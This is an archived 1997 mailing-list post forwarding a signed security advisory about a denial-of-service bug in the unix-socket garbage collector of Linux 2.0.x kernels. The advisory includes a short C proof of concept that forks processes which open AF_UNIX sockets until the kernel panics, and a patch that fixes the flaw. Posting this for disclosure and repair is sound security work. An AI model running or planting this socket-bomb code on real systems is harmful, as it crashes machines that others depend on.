-Phillip R. Jaenke [InterNIC Handle: PRJ5] (prjat_private) MIS Department, PC Importers, Inc. 800.319.9284, x4262 "Why do you pay tax on Spam? It's a non-food product!" "Well, that would explain why it's in the hardware aisle." > ---------- Forwarded message ---------- > Date: Wed, 3 Dec 1997 15:47:35 -0500 (EST) > From: Floody <floodat_private> > To: linux-kernelat_private > Cc: linux-alertat_private, linux-securityat_private > Subject: Insufficient allocations in net/unix/garbage.c > > -----BEGIN PGP SIGNED MESSAGE----- > > Kernels 2.0.x do not sufficiently allocate space for the internal stack > used for garbage collection on unix domain sockets. I have neither > examined nor tested 2.1.x kernels. > > Because the garbage collection system defines a MAX_STACK depth of 1000 > for it's internal use, it is relatively trivial to write a user-space > program which opens up a large number of unix domain sockets, eventually > causing a kernel panic in the garbage collection routines (which test for > this limit and panic if hit); on systems which have NR_FILE (or > /proc/sys/kernel/file-max) set to a value larger than 1024 or so. The > solution is slightly more complicated than simply increasing MAX_STACK, > due to the fact that a single page is allocated for the stack, and given > an i386 architecture, this can only hold 1024 entries. > > The following illustrates how a user-space program might exploit this > bug, causing a kernel panic: > > - --CUT HERE-- > #include <stdio.h> > #include <sys/types.h> > #include <sys/socket.h> > > void bomb() > { > while(1) { > while(socket(AF_UNIX, SOCK_STREAM, 0) != -1) ; > sleep(5); > } > } > > int main() > { > int i; > > printf("forking 6 unix socket bomb processes.\n"); > fflush(stdout); > > for(i = 0; i < 6; i++) > if(fork() == 0) bomb(); > > bomb(); > > return 0; > } > - --CUT HERE-- > > I have tested this under 2.0.32 and verified the panic. I have even been > able to cause a panic on a system which does NOT have > /proc/sys/kernel/file-max > 1024. > > As a work-around, the following patch will cause the garbage collection > routine to calculate the exact _maximum_ stack depth it must allocate for, > as well as using kmalloc()/kfree() instead of get_free_page()/free_page(). > > - --CUT HERE- > *** net/unix/garbage.c.orig Wed Dec 3 14:55:10 1997 > - --- net/unix/garbage.c Wed Dec 3 15:04:57 1997 > *************** > *** 5,10 **** > - --- 5,20 ---- > * Copyright (C) Barak A. Pearlmutter. > * Released under the GPL version 2 or later. > * > + * 12/3/97 -- Flood > + * Internal stack is only allocated one page. On systems with NR_FILE > + * > 1024, this makes it quite easy for a user-space program to open > + * a large number of AF_UNIX domain sockets, causing the garbage > + * collection routines to run up against the wall (and panic). > + * Changed the MAX_STACK to be associated to the system-wide open file > + * maximum, and use kmalloc() instead of get_free_page() [as more than > + * one page may be necessary]. As noted below, this should ideally be > + * done with a linked list. > + * > * Chopped about by Alan Cox 22/3/96 to make it fit the AF_UNIX socket problem. > * If it doesn't work blame me, it worked when Barak sent it. > * > *************** > *** 59,68 **** > > /* Internal data structures and random procedures: */ > > - - #define MAX_STACK 1000 /* Maximum depth of tree (about 1 page) */ > static unix_socket **stack; /* stack of objects to mark */ > static int in_stack = 0; /* first free entry in stack */ > ! > > extern inline unix_socket *unix_get_socket(struct file *filp) > { > - --- 69,77 ---- > > /* Internal data structures and random procedures: */ > > static unix_socket **stack; /* stack of objects to mark */ > static int in_stack = 0; /* first free entry in stack */ > ! static int max_stack; /* Calculated in unix_gc() */ > > extern inline unix_socket *unix_get_socket(struct file *filp) > { > *************** > *** 110,116 **** > > extern inline void push_stack(unix_socket *x) > { > ! if (in_stack == MAX_STACK) > panic("can't push onto full stack"); > stack[in_stack++] = x; > } > - --- 119,125 ---- > > extern inline void push_stack(unix_socket *x) > { > ! if (in_stack == max_stack) > panic("can't push onto full stack"); > stack[in_stack++] = x; > } > *************** > *** 151,158 **** > if(in_unix_gc) > return; > in_unix_gc=1; > ! > ! stack=(unix_socket **)get_free_page(GFP_KERNEL); > > /* > * Assume everything is now unmarked > - --- 160,170 ---- > if(in_unix_gc) > return; > in_unix_gc=1; > ! > ! max_stack = max_files; > ! > ! stack=(unix_socket **)kmalloc(max_stack * sizeof(unix_socket **), > ! GFP_KERNEL); > > /* > * Assume everything is now unmarked > *************** > *** 276,280 **** > > in_unix_gc=0; > > ! free_page((long)stack); > } > - --- 288,292 ---- > > in_unix_gc=0; > > ! kfree(stack); > } > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > > iQCVAwUBNIXFaRsjWkWelde9AQH58wQAh+AaooTq+AcNUVyKc5hIMb04vOmFkoVW > 3DaaqFvtlQ9Z0XBnfagWqguNB5HRzEG1MifkhofwXuhy64qAhcev/qZroYqS/Q96 > ZeGXsdf4KE3LmZ5PDSrYAIRSgQjKT9A9yw6nRQUNqr/Nis7Fz5y7oQYoo2g12Jjg > l9N4fmbmPeY= > =kPxr > -----END PGP SIGNATURE----- >
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:34:11 PDT